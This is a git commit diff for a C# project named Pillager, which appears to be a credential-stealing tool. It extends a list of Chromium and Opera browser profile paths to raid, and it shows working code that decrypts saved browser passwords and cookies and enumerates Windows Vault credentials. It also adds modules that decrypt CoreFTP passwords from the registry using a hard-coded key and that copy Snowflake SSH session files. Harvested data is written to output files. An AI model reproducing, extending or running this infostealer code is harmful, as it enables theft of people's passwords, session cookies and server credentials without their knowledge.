v1.0
This commit is contained in:
parent
f370916454
commit
4527887611
|
@ -2,7 +2,6 @@
|
|||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.Remoting.Messaging;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using Pillager.Helper;
|
||||
|
@ -21,28 +20,30 @@ namespace Pillager.Browsers
|
|||
|
||||
public static Dictionary<string, string> browserOnChromium = new Dictionary<string, string>
|
||||
{
|
||||
{ "Chrome", "Google\\Chrome\\User Data" } ,
|
||||
{ "Chrome Beta", "Google\\Chrome Beta\\User Data" } ,
|
||||
{ "Chromium", "Chromium\\User Data" } ,
|
||||
{ "Chrome SxS", "Google\\Chrome SxS\\User Data" },
|
||||
{ "Edge", "Microsoft\\Edge\\User Data" } ,
|
||||
{ "Brave-Browser", "BraveSoftware\\Brave-Browser\\User Data" } ,
|
||||
{ "QQBrowser", "Tencent\\QQBrowser\\User Data" } ,
|
||||
{ "SogouExplorer", "Sogou\\SogouExplorer\\User Data" } ,
|
||||
{ "360ChromeX", "360ChromeX\\Chrome\\User Data" } ,
|
||||
{ "360Chrome", "360Chrome\\Chrome\\User Data" } ,
|
||||
{ "Vivaldi", "Vivaldi\\User Data" } ,
|
||||
{ "CocCoc", "CocCoc\\Browser\\User Data" },
|
||||
{ "Torch", "Torch\\User Data" },
|
||||
{ "Kometa", "Kometa\\User Data" },
|
||||
{ "Orbitum", "Orbitum\\User Data" },
|
||||
{ "CentBrowser", "CentBrowser\\User Data" },
|
||||
{ "7Star", "7Star\\7Star\\User Data" },
|
||||
{ "Sputnik", "Sputnik\\Sputnik\\User Data" },
|
||||
{ "Epic Privacy Browser", "Epic Privacy Browser\\User Data" },
|
||||
{ "Uran", "uCozMedia\\Uran\\User Data" },
|
||||
{ "Yandex", "Yandex\\YandexBrowser\\User Data" },
|
||||
{ "Iridium", "Iridium\\User Data" },
|
||||
{ "Chrome", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Google\\Chrome\\User Data" )} ,
|
||||
{ "Chrome Beta",Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome Beta\\User Data" )},
|
||||
{ "Chromium", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Chromium\\User Data" )} ,
|
||||
{ "Chrome SxS", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Google\\Chrome SxS\\User Data" )},
|
||||
{ "Edge", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Microsoft\\Edge\\User Data") } ,
|
||||
{ "Brave-Browser", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"BraveSoftware\\Brave-Browser\\User Data") } ,
|
||||
{ "QQBrowser",Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Tencent\\QQBrowser\\User Data") } ,
|
||||
{ "SogouExplorer", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Sogou\\SogouExplorer\\User Data") } ,
|
||||
{ "360ChromeX", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"360ChromeX\\Chrome\\User Data" )} ,
|
||||
{ "360Chrome",Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "360Chrome\\Chrome\\User Data") } ,
|
||||
{ "Vivaldi",Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Vivaldi\\User Data") } ,
|
||||
{ "CocCoc", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"CocCoc\\Browser\\User Data" )},
|
||||
{ "Torch", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Torch\\User Data" )},
|
||||
{ "Kometa", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Kometa\\User Data" )},
|
||||
{ "Orbitum", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Orbitum\\User Data" )},
|
||||
{ "CentBrowser",Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "CentBrowser\\User Data" )},
|
||||
{ "7Star", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"7Star\\7Star\\User Data" )},
|
||||
{ "Sputnik", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Sputnik\\Sputnik\\User Data" )},
|
||||
{ "Epic Privacy Browser", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Epic Privacy Browser\\User Data" )},
|
||||
{ "Uran",Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "uCozMedia\\Uran\\User Data" )},
|
||||
{ "Yandex", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Yandex\\YandexBrowser\\User Data" )},
|
||||
{ "Iridium", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),"Iridium\\User Data" )},
|
||||
{ "Opera", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),"Opera Software\\Opera Stable" )},
|
||||
{ "Opera GX", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),"Opera Software\\Opera GX Stable" )},
|
||||
};
|
||||
|
||||
|
||||
|
@ -119,7 +120,7 @@ namespace Pillager.Browsers
|
|||
string username = handler.GetValue(i, "username_value");
|
||||
string crypt = handler.GetValue(i, "password_value");
|
||||
string password = Encoding.UTF8.GetString(DecryptData(Convert.FromBase64String(crypt)));
|
||||
if (url != null && url != "" && username != null && username != "" && !(password is null) && password.Length > 0)
|
||||
if (!string.IsNullOrEmpty(url) && !string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(password))
|
||||
{
|
||||
passwords.Append("\t[URL] -> {" + url + "}\n\t[USERNAME] -> {" + username + "}\n\t[PASSWORD] -> {" + password + "}\n");
|
||||
passwords.AppendLine();
|
||||
|
@ -156,7 +157,7 @@ namespace Pillager.Browsers
|
|||
}
|
||||
catch { }
|
||||
}
|
||||
return history.ToString(); ;
|
||||
return history.ToString();
|
||||
}
|
||||
|
||||
public static string Chrome_cookies()
|
||||
|
@ -166,7 +167,7 @@ namespace Pillager.Browsers
|
|||
{
|
||||
string chrome_cookie_path = Path.Combine(BrowserPath, profile + "\\Cookies");
|
||||
string chrome_100plus_cookie_path = Path.Combine(BrowserPath, profile + "\\Network\\Cookies");
|
||||
if (!File.Exists(chrome_cookie_path) == true)
|
||||
if (!File.Exists(chrome_cookie_path))
|
||||
chrome_cookie_path = chrome_100plus_cookie_path;
|
||||
if (!File.Exists(chrome_cookie_path))
|
||||
continue;
|
||||
|
@ -196,9 +197,8 @@ namespace Pillager.Browsers
|
|||
string name = handler.GetValue(i, "name");
|
||||
string crypt = handler.GetValue(i, "encrypted_value");
|
||||
string path = handler.GetValue(i, "path");
|
||||
long expDate;
|
||||
double expDateDouble = 0;
|
||||
long.TryParse(handler.GetValue(i, "expires_utc"), out expDate);
|
||||
long.TryParse(handler.GetValue(i, "expires_utc"), out var expDate);
|
||||
if ((expDate / 1000000.000000000000) - 11644473600 > 0)
|
||||
expDateDouble = (expDate / 1000000.000000000000000) - 11644473600;
|
||||
string cookie = Encoding.UTF8.GetString(DecryptData(Convert.FromBase64String(crypt)));
|
||||
|
@ -279,7 +279,7 @@ namespace Pillager.Browsers
|
|||
{
|
||||
try
|
||||
{
|
||||
string chromepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), browser.Value);
|
||||
string chromepath = browser.Value;
|
||||
BrowserName = browser.Key;
|
||||
BrowserPath = chromepath;
|
||||
MasterKey = GetMasterKey();
|
||||
|
|
|
@ -248,7 +248,7 @@ namespace Pillager.Browsers
|
|||
string[] keyValuePairs = bracketContent.Split(',');
|
||||
foreach (string keyValueStr in keyValuePairs)
|
||||
{
|
||||
string[] keyValue = keyValueStr.Split(new Char[] { ':' }, 2);
|
||||
string[] keyValue = keyValueStr.Split(new[] { ':' }, 2);
|
||||
string key = keyValue[0];
|
||||
string val = keyValue[1];
|
||||
if (val == "null")
|
||||
|
|
|
@ -25,8 +25,7 @@ namespace Pillager.Browsers
|
|||
{
|
||||
if (IntPtr.Size == 4)
|
||||
{
|
||||
bool is64Bit;
|
||||
IsWow64Process(GetCurrentProcess(), out is64Bit);
|
||||
IsWow64Process(GetCurrentProcess(), out var is64Bit);
|
||||
if (is64Bit)
|
||||
{
|
||||
return "Don't support recovery IE password from wow64 process";
|
||||
|
@ -41,18 +40,18 @@ namespace Pillager.Browsers
|
|||
|
||||
if (OSMajor >= 6 && OSMinor >= 2)
|
||||
{
|
||||
VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN8);
|
||||
VAULT_ITEM = typeof(Native.VAULT_ITEM_WIN8);
|
||||
}
|
||||
else
|
||||
{
|
||||
VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN7);
|
||||
VAULT_ITEM = typeof(Native.VAULT_ITEM_WIN7);
|
||||
}
|
||||
|
||||
/* Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct */
|
||||
object GetVaultElementValue(IntPtr vaultElementPtr)
|
||||
{
|
||||
object results;
|
||||
object partialElement = Marshal.PtrToStructure(vaultElementPtr, typeof(VaultCli.VAULT_ITEM_ELEMENT));
|
||||
object partialElement = Marshal.PtrToStructure(vaultElementPtr, typeof(Native.VAULT_ITEM_ELEMENT));
|
||||
FieldInfo partialElementInfo = partialElement.GetType().GetField("Type");
|
||||
var partialElementType = partialElementInfo.GetValue(partialElement);
|
||||
|
||||
|
@ -102,9 +101,9 @@ namespace Pillager.Browsers
|
|||
|
||||
Int32 vaultCount = 0;
|
||||
IntPtr vaultGuidPtr = IntPtr.Zero;
|
||||
var result = VaultCli.VaultEnumerateVaults(0, ref vaultCount, ref vaultGuidPtr);
|
||||
var result = Native.VaultEnumerateVaults(0, ref vaultCount, ref vaultGuidPtr);
|
||||
|
||||
if ((int)result != 0)
|
||||
if (result != 0)
|
||||
{
|
||||
throw new Exception("[ERROR] Unable to enumerate vaults. Error (0x" + result.ToString() + ")");
|
||||
}
|
||||
|
@ -132,15 +131,8 @@ namespace Pillager.Browsers
|
|||
guidAddress = (IntPtr)(guidAddress.ToInt64() + Marshal.SizeOf(typeof(Guid)));
|
||||
IntPtr vaultHandle = IntPtr.Zero;
|
||||
string vaultType;
|
||||
if (vaultSchema.ContainsKey(vaultGuid))
|
||||
{
|
||||
vaultType = vaultSchema[vaultGuid];
|
||||
}
|
||||
else
|
||||
{
|
||||
vaultType = vaultGuid.ToString();
|
||||
}
|
||||
result = VaultCli.VaultOpenVault(ref vaultGuid, (UInt32)0, ref vaultHandle);
|
||||
vaultType = vaultSchema.ContainsKey(vaultGuid) ? vaultSchema[vaultGuid] : vaultGuid.ToString();
|
||||
result = Native.VaultOpenVault(ref vaultGuid, 0, ref vaultHandle);
|
||||
if (result != 0)
|
||||
{
|
||||
throw new Exception("Unable to open the following vault: " + vaultType + ". Error: 0x" + result.ToString());
|
||||
|
@ -150,7 +142,7 @@ namespace Pillager.Browsers
|
|||
// Fetch all items within Vault
|
||||
int vaultItemCount = 0;
|
||||
IntPtr vaultItemPtr = IntPtr.Zero;
|
||||
result = VaultCli.VaultEnumerateItems(vaultHandle, 512, ref vaultItemCount, ref vaultItemPtr);
|
||||
result = Native.VaultEnumerateItems(vaultHandle, 512, ref vaultItemCount, ref vaultItemPtr);
|
||||
if (result != 0)
|
||||
{
|
||||
throw new Exception("[ERROR] Unable to enumerate vault items from the following vault: " + vaultType + ". Error 0x" + result.ToString());
|
||||
|
@ -176,18 +168,17 @@ namespace Pillager.Browsers
|
|||
FieldInfo dateTimeInfo = currentItem.GetType().GetField("LastModified");
|
||||
UInt64 lastModified = (UInt64)dateTimeInfo.GetValue(currentItem);
|
||||
|
||||
object[] vaultGetItemArgs;
|
||||
IntPtr pPackageSid = IntPtr.Zero;
|
||||
if (OSMajor >= 6 && OSMinor >= 2)
|
||||
{
|
||||
// Newer versions have package sid
|
||||
FieldInfo pPackageSidInfo = currentItem.GetType().GetField("pPackageSid");
|
||||
pPackageSid = (IntPtr)pPackageSidInfo.GetValue(currentItem);
|
||||
result = VaultCli.VaultGetItem_WIN8(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, pPackageSid, IntPtr.Zero, 0, ref passwordVaultItem);
|
||||
result = Native.VaultGetItem_WIN8(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, pPackageSid, IntPtr.Zero, 0, ref passwordVaultItem);
|
||||
}
|
||||
else
|
||||
{
|
||||
result = VaultCli.VaultGetItem_WIN7(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, IntPtr.Zero, 0, ref passwordVaultItem);
|
||||
result = Native.VaultGetItem_WIN7(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, IntPtr.Zero, 0, ref passwordVaultItem);
|
||||
}
|
||||
|
||||
if (result != 0)
|
||||
|
@ -200,7 +191,7 @@ namespace Pillager.Browsers
|
|||
// Fetch the credential from the authenticator element
|
||||
object cred = GetVaultElementValue(pAuthenticatorElement);
|
||||
object packageSid = null;
|
||||
if (pPackageSid != IntPtr.Zero && pPackageSid != null)
|
||||
if (pPackageSid != IntPtr.Zero)
|
||||
{
|
||||
packageSid = GetVaultElementValue(pPackageSid);
|
||||
}
|
||||
|
@ -266,7 +257,7 @@ namespace Pillager.Browsers
|
|||
|
||||
foreach (string url_file_path in files)
|
||||
{
|
||||
if (File.Exists(url_file_path) == true)
|
||||
if (File.Exists(url_file_path))
|
||||
{
|
||||
string booktext = File.ReadAllText(url_file_path);
|
||||
Match match = Regex.Match(booktext, @"URL=(.*?)\n");
|
||||
|
|
|
@ -0,0 +1,105 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.Remoting.Channels;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.FTP
|
||||
{
|
||||
internal class CoreFTP
|
||||
{
|
||||
public static string FTPName = "CoreFTP";
|
||||
|
||||
public static string GetInfo()
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
string rkPath = "Software\\FTPWare\\CoreFTP\\Sites";
|
||||
using (RegistryKey rk = Registry.CurrentUser.OpenSubKey(rkPath, false))
|
||||
{
|
||||
if (rk != null)
|
||||
{
|
||||
foreach (string text in rk.GetSubKeyNames())
|
||||
{
|
||||
using (RegistryKey rkSession = Registry.CurrentUser.OpenSubKey(Path.Combine(rkPath, text), false))
|
||||
{
|
||||
object value = rkSession.GetValue("Host");
|
||||
object value2 = rkSession.GetValue("Port");
|
||||
object value3 = rkSession.GetValue("User");
|
||||
object value4 = rkSession.GetValue("PW");
|
||||
if (value != null && value3 != null && value4 != null)
|
||||
{
|
||||
sb.AppendLine("Server:"+ string.Format("{0}:{1}", value.ToString(), value2.ToString()));
|
||||
sb.AppendLine(value3.ToString());
|
||||
sb.AppendLine(Decrypt(value4.ToString(), "hdfzpysvpzimorhk"));
|
||||
sb.AppendLine();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return sb.ToString();
|
||||
}
|
||||
|
||||
private static string Decrypt(string encryptedData, string key)
|
||||
{
|
||||
byte[] array = Encoding.UTF8.GetBytes(key);
|
||||
PadToMultipleOf(ref array, 8);
|
||||
byte[] array2 = ConvertHexStringToByteArray(encryptedData);
|
||||
string text;
|
||||
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
|
||||
{
|
||||
rijndaelManaged.KeySize = array.Length * 8;
|
||||
rijndaelManaged.Key = array;
|
||||
rijndaelManaged.Mode = CipherMode.ECB;
|
||||
rijndaelManaged.Padding = PaddingMode.None;
|
||||
using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor())
|
||||
{
|
||||
byte[] array3 = cryptoTransform.TransformFinalBlock(array2, 0, array2.Length);
|
||||
text = Encoding.UTF8.GetString(array3);
|
||||
}
|
||||
}
|
||||
return text;
|
||||
}
|
||||
|
||||
private static void PadToMultipleOf(ref byte[] src, int pad)
|
||||
{
|
||||
int num = (src.Length + pad - 1) / pad * pad;
|
||||
Array.Resize(ref src, num);
|
||||
}
|
||||
|
||||
private static byte[] ConvertHexStringToByteArray(string hexString)
|
||||
{
|
||||
if (hexString.Length % 2 != 0)
|
||||
{
|
||||
throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, "The binary key cannot have an odd number of digits: {0}", hexString));
|
||||
}
|
||||
byte[] array = new byte[hexString.Length / 2];
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string text = hexString.Substring(i * 2, 2);
|
||||
array[i] = byte.Parse(text, NumberStyles.HexNumber, CultureInfo.InvariantCulture);
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
public static void Save(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string output = GetInfo();
|
||||
if (!string.IsNullOrEmpty(output))
|
||||
{
|
||||
string savepath = Path.Combine(path, FTPName);
|
||||
Directory.CreateDirectory(savepath);
|
||||
File.WriteAllText(Path.Combine(savepath, FTPName + ".txt"), output);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,8 +1,5 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.FTP
|
||||
{
|
||||
|
|
|
@ -0,0 +1,29 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.FTP
|
||||
{
|
||||
internal class Snowflake
|
||||
{
|
||||
public static string FTPName = "Snowflake";
|
||||
|
||||
public static void Save(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string jsonpath = Path.Combine(Environment.GetEnvironmentVariable("USERPROFILE"), "snowflake-ssh\\session-store.json");
|
||||
if (File.Exists(jsonpath))
|
||||
{
|
||||
string savepath = Path.Combine(path, FTPName);
|
||||
Directory.CreateDirectory(savepath);
|
||||
File.Copy(jsonpath, Path.Combine(savepath, "session-store.json"));
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,9 +1,6 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Xml;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Pillager.FTP
|
||||
{
|
||||
|
@ -63,14 +60,7 @@ namespace Pillager.FTP
|
|||
}
|
||||
if (storedFlag == PW_FLAG)
|
||||
{
|
||||
if (clearpwd.Substring(0, unicodeKey.Length) == unicodeKey)
|
||||
{
|
||||
clearpwd = clearpwd.Substring(unicodeKey.Length);
|
||||
}
|
||||
else
|
||||
{
|
||||
clearpwd = "";
|
||||
}
|
||||
clearpwd = clearpwd.Substring(0, unicodeKey.Length) == unicodeKey ? clearpwd.Substring(unicodeKey.Length) : "";
|
||||
}
|
||||
return clearpwd;
|
||||
}
|
||||
|
@ -79,7 +69,7 @@ namespace Pillager.FTP
|
|||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
string registry = @"Software\Martin Prikryl\WinSCP 2\Sessions";
|
||||
var registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(registry);
|
||||
var registryKey = Registry.CurrentUser.OpenSubKey(registry);
|
||||
if (registryKey == null) return "";
|
||||
foreach (string rname in registryKey.GetSubKeyNames())
|
||||
{
|
||||
|
|
|
@ -10,80 +10,80 @@ namespace Pillager.Helper
|
|||
{
|
||||
public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
|
||||
{
|
||||
IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM);
|
||||
IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey);
|
||||
IntPtr hAlg = OpenAlgorithmProvider(Native.BCRYPT_AES_ALGORITHM, Native.MS_PRIMITIVE_PROVIDER, Native.BCRYPT_CHAIN_MODE_GCM);
|
||||
var keyDataBuffer = ImportKey(hAlg, key, out var hKey);
|
||||
|
||||
byte[] plainText;
|
||||
|
||||
BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);
|
||||
using (authInfo)
|
||||
{
|
||||
byte[] ivData = new byte[MaxAuthTagSize(hAlg)];
|
||||
Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo = new Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);
|
||||
byte[] ivData = new byte[MaxAuthTagSize(hAlg)];
|
||||
|
||||
int plainTextSize = 0;
|
||||
int plainTextSize = 0;
|
||||
|
||||
uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0);
|
||||
uint status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status));
|
||||
if (status != Native.ERROR_SUCCESS)
|
||||
throw new CryptographicException(
|
||||
$"Native.BCryptDecrypt() (get size) failed with status code: {status}");
|
||||
|
||||
plainText = new byte[plainTextSize];
|
||||
plainText = new byte[plainTextSize];
|
||||
|
||||
status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0);
|
||||
status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0);
|
||||
|
||||
if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH)
|
||||
throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch");
|
||||
if (status == Native.STATUS_AUTH_TAG_MISMATCH)
|
||||
throw new CryptographicException("Native.BCryptDecrypt(): authentication tag mismatch");
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status));
|
||||
}
|
||||
if (status != Native.ERROR_SUCCESS)
|
||||
throw new CryptographicException($"Native.BCryptDecrypt() failed with status code:{status}");
|
||||
|
||||
BCrypt.BCryptDestroyKey(hKey);
|
||||
authInfo.Dispose();
|
||||
|
||||
Native.BCryptDestroyKey(hKey);
|
||||
Marshal.FreeHGlobal(keyDataBuffer);
|
||||
BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0);
|
||||
Native.BCryptCloseAlgorithmProvider(hAlg, 0x0);
|
||||
|
||||
return plainText;
|
||||
}
|
||||
|
||||
private int MaxAuthTagSize(IntPtr hAlg)
|
||||
{
|
||||
byte[] tagLengthsValue = GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH);
|
||||
byte[] tagLengthsValue = GetProperty(hAlg, Native.BCRYPT_AUTH_TAG_LENGTH);
|
||||
|
||||
return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0);
|
||||
}
|
||||
|
||||
private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)
|
||||
{
|
||||
IntPtr hAlg = IntPtr.Zero;
|
||||
uint status = Native.BCryptOpenAlgorithmProvider(out var hAlg, alg, provider, 0x0);
|
||||
|
||||
uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status));
|
||||
if (status != Native.ERROR_SUCCESS)
|
||||
throw new CryptographicException(
|
||||
$"Native.BCryptOpenAlgorithmProvider() failed with status code:{status}");
|
||||
|
||||
byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode);
|
||||
status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);
|
||||
status = Native.BCryptSetAlgorithmProperty(hAlg, Native.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status));
|
||||
if (status != Native.ERROR_SUCCESS)
|
||||
throw new CryptographicException(
|
||||
$"Native.BCryptSetAlgorithmProperty(Native.BCRYPT_CHAINING_MODE, Native.BCRYPT_CHAIN_MODE_GCM) failed with status code:{status}");
|
||||
|
||||
return hAlg;
|
||||
}
|
||||
|
||||
private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)
|
||||
{
|
||||
byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH);
|
||||
byte[] objLength = GetProperty(hAlg, Native.BCRYPT_OBJECT_LENGTH);
|
||||
|
||||
int keyDataSize = BitConverter.ToInt32(objLength, 0);
|
||||
|
||||
IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize);
|
||||
|
||||
byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);
|
||||
byte[] keyBlob = Concat(Native.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);
|
||||
|
||||
uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);
|
||||
uint status = Native.BCryptImportKey(hAlg, IntPtr.Zero, Native.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status));
|
||||
if (status != Native.ERROR_SUCCESS)
|
||||
throw new CryptographicException($"Native.BCryptImportKey() failed with status code:{status}");
|
||||
|
||||
return keyDataBuffer;
|
||||
}
|
||||
|
@ -92,17 +92,18 @@ namespace Pillager.Helper
|
|||
{
|
||||
int size = 0;
|
||||
|
||||
uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0);
|
||||
uint status = Native.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status));
|
||||
if (status != Native.ERROR_SUCCESS)
|
||||
throw new CryptographicException(
|
||||
$"Native.BCryptGetProperty() (get size) failed with status code:{status}");
|
||||
|
||||
byte[] value = new byte[size];
|
||||
|
||||
status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0);
|
||||
status = Native.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status));
|
||||
if (status != Native.ERROR_SUCCESS)
|
||||
throw new CryptographicException($"Native.BCryptGetProperty() failed with status code:{status}");
|
||||
|
||||
return value;
|
||||
}
|
||||
|
|
|
@ -1,7 +1,6 @@
|
|||
using System.Collections.Generic;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System;
|
||||
using System.Globalization;
|
||||
|
||||
namespace Pillager.Helper
|
||||
{
|
||||
|
@ -26,8 +25,8 @@ namespace Pillager.Helper
|
|||
for (int i = 0; i < dataToParse.Length; i++)
|
||||
{
|
||||
byte[] data;
|
||||
int len = 0;
|
||||
switch ((Asn1Der.Type)dataToParse[i])
|
||||
int len;
|
||||
switch ((Type)dataToParse[i])
|
||||
{
|
||||
case Type.Sequence:
|
||||
if (parsedData.Lenght == 0)
|
||||
|
@ -38,7 +37,7 @@ namespace Pillager.Helper
|
|||
}
|
||||
else
|
||||
{
|
||||
parsedData.objects.Add(new Asn1DerObject()
|
||||
parsedData.objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.Sequence,
|
||||
Lenght = dataToParse[i + 1]
|
||||
|
@ -47,11 +46,11 @@ namespace Pillager.Helper
|
|||
}
|
||||
len = (data.Length > dataToParse.Length - (i + 2)) ? dataToParse.Length - (i + 2) : data.Length;
|
||||
Array.Copy(dataToParse, i + 2, data, 0, len);
|
||||
parsedData.objects.Add(this.Parse(data));
|
||||
parsedData.objects.Add(Parse(data));
|
||||
i = i + 1 + dataToParse[i + 1];
|
||||
break;
|
||||
case Type.Integer:
